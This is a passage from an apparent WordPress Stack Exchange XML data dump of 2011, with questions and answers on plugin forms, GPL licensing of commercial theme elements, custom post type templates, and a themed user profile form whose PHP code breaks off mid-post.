anyone help me in this???&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-05-21T18:28:39.893" LastActivityDate="2011-05-21T18:28:39.893" Title="Wordpress plugin form not saving data" Tags="&lt;plugins&gt;&lt;forms&gt;" AnswerCount="3" />
  <row Id="17788" PostTypeId="1" CreationDate="2011-05-20T11:03:25.687" Score="0" ViewCount="29" Body="&lt;p&gt;I want to embed my code at BitBucket in wp post, anyone can suggest me, a good plugin or anytrick to do it?&lt;/p&gt;&#xA;" OwnerUserId="2286" LastActivityDate="2011-05-20T15:01:10.203" Title="Embedding BitBucket Code in Posting" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="17790" PostTypeId="1" CreationDate="2011-05-20T11:13:31.240" Score="2" ViewCount="91" Body="&lt;p&gt;I want to make a commercial product for resale..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the components of the product will be a wordpress theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theme will be a heavily reworked variant of a GPL licenses theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I understand that as the theme is GPL, that means it must carry the GPL license, even after it is modified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's where it gets complicated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the modifications to the Theme involve the addition of commercial CSS components that I have paid for and own extended licenses to. Under this license I can redistribute the work in my own work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is, given that the GPL license has to be retained on a product based on a GPL licensed product, what happens with the license once commercially-licenses elements are added?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this then a mixed license product?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IE - does that mean the GPL licensed elements stay GPL, and can therefore be modified and redistributed by people who buy it?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the commercial elements go, these have to remain under their own 'extended' license. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be most helpful. Ive been reading up but can't seem to find anything that applies directly to the specifics of this situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there even a way to license a hybrid product like this?&lt;/p&gt;&#xA;" OwnerUserId="5532" LastActivityDate="2011-05-20T11:48:13.830" Title="What happens with GPL license when commercial elements are added to it?" Tags="&lt;licensing&gt;&lt;copyright&gt;" AnswerCount="2" />
  <row Id="17791" PostTypeId="1" AcceptedAnswerId="17797" CreationDate="2011-05-20T11:15:40.287" Score="0" ViewCount="278" Body="&lt;p&gt;This is my first real delve into custom post types and taxonomies, i suppose it will all come to me in a flash of inspiration but right now i have confused myself beyond all realms of possibility and need some advice as whether im going on the right track. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;heres what i have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Three custom post types, namely:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sale&lt;br&gt;&#xA;rental&lt;br&gt;&#xA;business  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;all the above share 2 taxonomies (location and region) and then they have their own specific taxonomies too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now im looking at template files for each of the Custom Post Types and also template files for the taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So of course i headed over to &lt;a href=&quot;http://codex.wordpress.org/Post_Types&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP Codex&lt;/strong&gt;&lt;/a&gt; and checked out custom post type templates, now if i understand correctly to template each of my custom post types i should use *&lt;em&gt;archive-&lt;/em&gt;*name_of_post_type.php and *&lt;em&gt;single-&lt;/em&gt;*name_of_post_type.php for when in single post view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok so up to here i reckon im ok, now this is where im confused, off to &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Codex Again&lt;/strong&gt;&lt;/a&gt; this time to find out how to add a template to each of the taxonomies, codex tells me this *&lt;em&gt;taxonomy-&lt;/em&gt;*name_of_taxonomy.php, now a couple of questions if i may:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) am i going about this the correct way&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) is the taxonomy template a single view (ie like single.php) or a looped view, im guessing its looped like categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) can i create just one template and include all taxonomies (via an if statement to shake through seperate loop files?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards Martin&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-05-20T12:28:23.970" LastActivityDate="2011-05-20T12:40:03.610" Title="Custom post type and taxonomy page templates" Tags="&lt;posts&gt;&lt;taxonomy&gt;&lt;templates&gt;" AnswerCount="1" />
  <row Id="17792" PostTypeId="2" ParentId="17790" CreationDate="2011-05-20T11:26:24.107" Score="1" ViewCount="" Body="&lt;p&gt;I don't think you're going to get a definitive answer to this one. However, there's a fairly common point of view that even for GPL themes, the CSS doesn't have to be GPL licensed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I personally think you &lt;em&gt;can&lt;/em&gt; add non-GPL CSS to a theme without making the CSS GPL.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-20T11:26:24.107" CommentCount="1" />
  <row Id="17793" PostTypeId="2" ParentId="17790" CreationDate="2011-05-20T11:34:15.577" Score="4" ViewCount="" Body="&lt;p&gt;You can duel license your commercial product.  Only the PHP code that interacts with WordPress is required to be GPL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want an extensive GPL lesson you can peruse the Thesis GPL Saga files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://andrewhy.de/wordpress-gpl-thesis-and-speeding-tickets/&quot; rel=&quot;nofollow&quot;&gt;WordPress, GPL, Thesis and Speeding Tickets&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ma.tt/2010/07/syn-thesis-1/&quot; rel=&quot;nofollow&quot;&gt;Syn-Thesis 1 And Chris Pearson&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mitchcanter.com/2010/wordpress/the-great-thesis-thesiswp-vs-wordpress-debate-rages-on/&quot; rel=&quot;nofollow&quot;&gt;The Great Thesis Vs WordPress Debate Rages On&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://nathanhangen.com/blog/mullenweg-gpl-marxist-utopia/&quot; rel=&quot;nofollow&quot;&gt;The GPL is Marxist&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jane.wordpress.com/2010/07/15/thesiswp/&quot; rel=&quot;nofollow&quot;&gt;#thesiswp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://redmonk.com/sogrady/2010/07/16/the-thesis-controversy&quot; rel=&quot;nofollow&quot;&gt;The Thesis Controversy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.readwriteweb.com/archives/wordpress_could_sue_popular_theme_developer_over_license_dispute.php&quot; rel=&quot;nofollow&quot;&gt;WordPress Could Sue Popular Theme Developer Over License Dispute&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.itworld.com/open-source/114247/wordpressthesis-conflict-highlights-gpl-nuances&quot; rel=&quot;nofollow&quot;&gt;WordPress/Thesis Conflict Highlights GPL Nuances&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arbent.net/blog/thesis-the-antithesis-of-wordpress-sort-of&quot; rel=&quot;nofollow&quot;&gt;Thesis The Antithesis of WordPress…sort of&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://zekeweeks.com/2010/07/14/on-wordpress-thesis-and-profitable-gpl-software/&quot; rel=&quot;nofollow&quot;&gt;On WordPress, Thesis, and profitable GPL Software&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/&quot; rel=&quot;nofollow&quot;&gt;WordPress And Thesis Go To Battle&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://themesforge.com/theme-news/thesis-gets-hacked-and-the-coming-thesis-vs-automattic-battle/&quot; rel=&quot;nofollow&quot;&gt;The Coming Thesis Vs. Automattic Battle&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://corywatilo.com/wordpress-vs-thesis-theme&quot; rel=&quot;nofollow&quot;&gt;WordPress vs Thesis Theme by Cory Watilo&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://andybeard.eu/2701/wordpress-thesis.html&quot; rel=&quot;nofollow&quot;&gt;Thesis Pissing in the WordPress Well?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://drewblas.com/2010/07/15/an-analysis-of-gpled-code-in-thesis/&quot; rel=&quot;nofollow&quot;&gt;Analysis of GPL’ed Code in Thesis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jermainemaree.com/blog/the-real-story-wordpress-vs-thesis-theme&quot; rel=&quot;nofollow&quot;&gt;The “Real” Story – WordPress vs Thesis Theme&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://easywebcoder.com/web-development/industry/wordpress-vs-thesis-gpl-debate/&quot; rel=&quot;nofollow&quot;&gt;The WordPress vs Thesis GPL Debate&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://antone.geckotribe.com/alpha-gecko/wordpress-vs-thesis-can-wp-themes-be-non-gpl/&quot; rel=&quot;nofollow&quot;&gt;WordPress vs Thesis Can WP Themes be Non-GPL?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.itwriting.com/blog/2882-how-infectious-is-the-gpl-battle-of-words-between-wordpress-and-thesis.html&quot; rel=&quot;nofollow&quot;&gt;How Infectious is the GPL? Battle of Words Between WordPress and Thesis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gregrickaby.com/2010/07/thesis-gpl-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;Thesis + GPL + WordPress = Pain&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://trishussey.com/2010/07/15/wordpress-thesis-gpl-and-premium-themes/&quot; rel=&quot;nofollow&quot;&gt;WordPress, Thesis, GPL, and Premium Themes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.anotherblogger.com/2009/07/02/wordpress-gpl-thesis/&quot; rel=&quot;nofollow&quot;&gt;WordPress, the GPL, and Thesis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.andrewnacin.com/2010/07/15/thesis-gpl/&quot; rel=&quot;nofollow&quot;&gt;Thesis and the GPL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.shoutmeloud.com/wordpress-matt-mullenweg-and-thesis-pearsonified-gpl-controversy.html&quot; rel=&quot;nofollow&quot;&gt;WordPress Matt Mullenweg &amp;amp; Thesis Chris Pearson GPL Controversy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.forumone.com/blogs/post/wordpress-thesis-and-gpl-heartache&quot; rel=&quot;nofollow&quot;&gt;WordPress, Thesis, and GPL Heartache&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.besttechie.net/2010/07/15/thesis-wordpress-gpl-license-debate/&quot; rel=&quot;nofollow&quot;&gt;Thesis vs WordPress: GPL License Debate&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gospelrhys.co.uk/2010/07/my-take-on-the-thesiswp-drama.html&quot; rel=&quot;nofollow&quot;&gt;Another Take on the #thesiswp Drama&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://perpetualbeta.com/release/2009/11/why-the-gpl-does-not-apply-to-premium-wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;Why the GPL Doesn’t Apply to Premium WordPress Themes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;@personified’s Ethos of Creative Entrepreneurship vs the Hive&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://markjaquith.wordpress.com/2010/07/17/why-wordpress-themes-are-derivative-of-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Why WordPress Themes are Derivative of WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm not a lawyer and this should not be considered legal advice.&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-20T11:48:13.830" LastActivityDate="2011-05-20T11:48:13.830" CommentCount="1" />
  <row Id="17794" PostTypeId="1" AcceptedAnswerId="17802" CreationDate="2011-05-20T11:35:07.010" Score="2" ViewCount="151" Body="&lt;p&gt;Is it possible to take the blue publish button in back end of the wordpress and place it in the frontend near the post in my index.php. I need a way to publish the pending article without going to dashboard and only admin can see the publish button?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   &#xA;$args=array(&#xA;'post_type'         =&amp;gt; 'post',&#xA;'post_status'       =&amp;gt; 'pending',&#xA;'order'                 =&amp;gt; 'ASC',&#xA;'caller_get_posts'  =&amp;gt;1,&#xA;'paged'         =&amp;gt;$paged,&#xA;            );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank You all in advance for help :D&lt;/p&gt;&#xA;" OwnerUserId="5499" LastActivityDate="2011-08-10T12:29:56.697" Title="Publish pending article from front end with a button?" Tags="&lt;posts&gt;&lt;php&gt;&lt;front-end&gt;&lt;publish&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17795" PostTypeId="2" ParentId="17787" CreationDate="2011-05-20T11:59:41.030" Score="0" ViewCount="" Body="&lt;p&gt;WordPress will do the work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick example of an option page containing a form with 1 field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'c3m_myplugin_add_page');&#xA;function c3m_myplugin_add_page() {&#xA;    add_options_page( 'C3M Google Analytics', 'C3M Google Analytics', 'manage_options', 'c3m_myplugin', 'c3m_myplugin_option_page' );&#xA;}&#xA;&#xA;// Draw the option page&#xA;function c3m_myplugin_option_page() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;        &amp;lt;?php screen_icon(); ?&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Really Simple Google Analytics&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;form action=&quot;options.php&quot; method=&quot;post&quot;&amp;gt;&#xA;            &amp;lt;?php settings_fields( 'c3m_myplugin_options' ); ?&amp;gt;&#xA;            &amp;lt;?php do_settings_sections( 'c3m_myplugin' ); ?&amp;gt;&#xA;            &amp;lt;input name=&quot;Submit&quot; type=&quot;submit&quot; value=&quot;Save Changes&quot; /&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;// Register and define the settings&#xA;add_action( 'admin_init', 'c3m_myplugin_admin_init' );&#xA;function c3m_myplugin_admin_init(){&#xA;    register_setting(&#xA;        'c3m_myplugin_options',&#xA;        'c3m_myplugin_options'&#xA;    );&#xA;    add_settings_section(&#xA;        'c3m_myplugin_main',&#xA;        'Google Analytics Web Property ID',&#xA;        'c3m_myplugin_section_text',&#xA;        'c3m_myplugin'&#xA;    );&#xA;    add_settings_field(&#xA;        'c3m_myplugin_text_string',&#xA;        'Enter text here',&#xA;        'c3m_myplugin_setting_input',&#xA;        'c3m_myplugin',&#xA;        'c3m_myplugin_main'&#xA;    );&#xA;}&#xA;&#xA;// Draw the section header&#xA;function c3m_myplugin_section_text() {&#xA;    echo '&amp;lt;p&amp;gt;Enter your Google Analytics Web Property ID here ex: UA-XXXXXX-XX.&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-20T11:59:41.030" CommentCount="2" />
  <row Id="17796" PostTypeId="1" CreationDate="2011-05-20T12:25:16.300" Score="0" ViewCount="46" Body="&lt;p&gt;When profiles are updated on the themed profile page on my site, it has to be refreshed to see the changes. It does not show after I press update, I have to refresh to see the changes. &#xA;It works fine in the backend, but need refreshing on the themed profile page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone experienced this or have any idea why this might be? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code. Stackexchange wouldn't let me paste the entire code so the javascript for the password is cut and a little section of the php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;content_left&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;shadowblock_out&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;shadowblock&quot;&amp;gt;               &#xA;        &amp;lt;?php if ( isset($_GET['updated']) ) {&#xA;              $d_url = $_GET['d'];?&amp;gt;&#xA;            &amp;lt;div class=&quot;box-yellow&quot;&amp;gt;&#xA;                &amp;lt;strong&amp;gt;&amp;lt;?php _e('Your profile has been updated.')?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;br /&amp;gt;&#xA;    &amp;lt;?php  } ?&amp;gt;&#xA;   &amp;lt;?php echo $errmsg; ?&amp;gt;&#xA;    &amp;lt;form name=&quot;profile&quot; id=&quot;your-profile&quot; action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;?php wp_nonce_field('update-profile_' . $user_ID) ?&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;from&quot; value=&quot;profile&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;checkuser_id&quot; value=&quot;&amp;lt;?php echo $user_ID ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;div class=&quot;toggle_container_contact&quot;&amp;gt;  &#xA;    &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;    &amp;lt;p class=&quot;submit center&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;update&quot; /&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;user_id&quot; id=&quot;user_id&quot; value=&quot;&amp;lt;?php echo $user_id; ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; id=&quot;cpsubmit&quot; class=&quot;btn_orange&quot; value=&quot;&amp;lt;?php _e('Update &amp;amp;raquo;', 'cp')?&amp;gt;&quot; name=&quot;submit&quot; /&amp;gt;&#xA;     &amp;lt;/p&amp;gt;&#xA;     &amp;lt;?php&#xA;            do_action('profile_personal_options', $userdata);&#xA;            do_action('show_user_profile', $userdata);&#xA;     ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;      &#xA;&#xA;    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;         &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;label for=&quot;user_login&quot;&amp;gt;&amp;lt;?php _e('Username'); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;user_login&quot; class=&quot;regular-text&quot; id=&quot;user_login&quot; value=&quot;&amp;lt;?php echo $userdata-&amp;gt;user_login; ?&amp;gt;&quot; maxlength=&quot;100&quot; disabled /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;label for=&quot;first_name&quot;&amp;gt;&amp;lt;?php _e('First Name ') ?&amp;gt;&amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e('(required)'); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot; class=&quot;regular-text&quot; id=&quot;first_name&quot; value=&quot;&amp;lt;?php echo $userdata-&amp;gt;first_name ?&amp;gt;&quot; maxlength=&quot;100&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;label for=&quot;nickname&quot;&amp;gt;&amp;lt;?php _e('Nickname') ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;nickname&quot; class=&quot;regular-text&quot; id=&quot;nickname&quot; value=&quot;&amp;lt;?php echo $userdata-&amp;gt;nickname ?&amp;gt;&quot; maxlength=&quot;100&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;            &amp;lt;&amp;lt;th&amp;gt;&amp;lt;label for=&quot;display_name&quot;&amp;gt;&amp;lt;?php _e('Display Name') ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                                &amp;lt;select name=&quot;display_name&quot; class=&quot;regular-text&quot; id=&quot;display_name&quot;&amp;gt;&#xA;                                &amp;lt;?php&#xA;                                        $public_display = array();&#xA;                                        $public_display['display_displayname'] = $userdata-&amp;gt;display_name;&#xA;                                        $public_display['display_nickname'] = $userdata-&amp;gt;nickname;&#xA;                                        $public_display['display_username'] = $userdata-&amp;gt;user_login;&#xA;                                        $public_display['display_firstname'] = $userdata-&amp;gt;first_name;&#xA;                                        $public_display['display_firstlast'] = $userdata-&amp;gt;first_name.' '.$userdata-&amp;gt;last_name;&#xA;                                        $public_display['display_lastfirst'] = $userdata-&amp;gt;last_name.' '.$userdata-&amp;gt;first_name;&#xA;                                        $public_display = array_unique(array_filter(array_map('trim', $public_display)));&#xA;                                        foreach($public_display as $id =&amp;gt; $item) {&#xA;                                ?&amp;gt;&#xA;                                        &amp;lt;option id=&quot;&amp;lt;?php echo $id; ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $item; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $item; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;?php&#xA;                                        }&#xA;                                ?&amp;gt;&#xA;                                &amp;lt;/select&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;&amp;lt;label for=&quot;email&quot;&amp;gt;&amp;lt;?php _e('Email') ?&amp;gt;&amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e('(required)'); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; class=&quot;regular-text&quot; id=&quot;email&quot; value=&quot;&amp;lt;?php echo $userdata-&amp;gt;user_email ?&amp;gt;&quot; maxlength=&quot;100&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;     &amp;lt;/tr&amp;gt;&#xA;     &amp;lt;tr&amp;gt; &#xA;            &amp;lt;th&amp;gt;&amp;lt;label for=&quot;last_name&quot;&amp;gt;&amp;lt;?php _e('Last Name') ?&amp;gt;&amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e('(required)'); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;last_name&quot; class=&quot;regular-text&quot; id=&quot;last_name&quot; value=&quot;&amp;lt;?php echo $userdata-&amp;gt;last_name ?&amp;gt;&quot; maxlength=&quot;5&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt; &#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;&amp;lt;label for=&quot;url&quot;&amp;gt;&amp;lt;?php _e('Website') ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;url&quot; class=&quot;regular-text&quot; id=&quot;url&quot; value=&quot;&amp;lt;?php echo $userdata-&amp;gt;user_url ?&amp;gt;&quot; maxlength=&quot;100&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;&amp;lt;label for=&quot;description&quot;&amp;gt;&amp;lt;?php _e('About Me'); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;                   &amp;lt;td&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;description&quot; class=&quot;regular-text&quot; id=&quot;description&quot; value=&quot;&amp;lt;?php echo $userdata-&amp;gt;description ?&amp;gt;&quot; maxlength=&quot;100&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                            &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php&#xA;    $show_password_fields = apply_filters('show_password_fields', true);&#xA;    if ( $show_password_fields ) :&#xA;    ?&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;&amp;lt;label for=&quot;pass1&quot;&amp;gt;&amp;lt;?php _e('New Password'); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;pass1&quot; class=&quot;regular-text&quot; id=&quot;pass1&quot; maxlength=&quot;50&quot; value=&quot;&quot; /&amp;gt;&amp;lt;br/&amp;gt;&#xA;                            &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e('Leave this field blank unless you would like to change your password.'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;    &amp;lt;th&amp;gt;&amp;lt;label for=&quot;pass1&quot;&amp;gt;&amp;lt;?php _e('Password Again'); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;pass2&quot; class=&quot;regular-text&quot; id=&quot;pass2&quot; maxlength=&quot;50&quot; value=&quot;&quot; /&amp;gt;&amp;lt;br/&amp;gt;&#xA;                            &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e('Type your new password again.'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;    &amp;lt;th&amp;gt;&amp;lt;label for=&quot;pass1&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;    &#xA;            &amp;lt;div id=&quot;pass-strength-result&quot;&amp;gt;&amp;lt;?php _e('Strength indicator'); ?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                            &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e('Your password should be at least seven characters long.'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/td&amp;gt; &#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;br /&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;p class=&quot;submit center&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;update&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;user_id&quot; id=&quot;user_id&quot; value=&quot;&amp;lt;?php echo $user_id; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; id=&quot;submit&quot; class=&quot;btn_orange&quot; value=&quot;&amp;lt;?php _e('Update &amp;amp;raquo;', 'cp')?&amp;gt;&quot; name=&quot;submit&quot; /&amp;gt;&#xA;     